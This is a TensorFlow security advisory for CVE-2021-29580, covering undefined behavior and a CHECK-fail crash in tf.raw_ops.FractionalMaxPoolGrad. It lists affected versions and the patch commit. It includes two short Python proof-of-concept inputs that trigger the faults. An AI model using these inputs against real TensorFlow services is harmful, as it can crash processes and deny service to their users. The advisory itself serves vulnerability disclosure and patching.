GHSA-x8h6-xgqx-jqgp
Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-cpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-cpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-cpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-cpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-gpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-gpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-gpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-gpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
The implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty:
```python
import tensorflow as tf
orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
```
The code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process
```python
import tensorflow as tf
orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/169054888d50ce488dfde9ca55d91d6325efbd5b/tensorflow/core/kernels/fractional_max_pool_op.cc#L215) fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.
### Patches
We have patched the issue in GitHub commit [32fdcbff9d06d010d908fcc4bd4b36eb3ce15925](https://github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x8h6-xgqx-jqgp
- https://nvd.nist.gov/vuln/detail/CVE-2021-29580
- https://github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-508.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-706.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-217.yaml
- https://github.com/tensorflow/tensorflow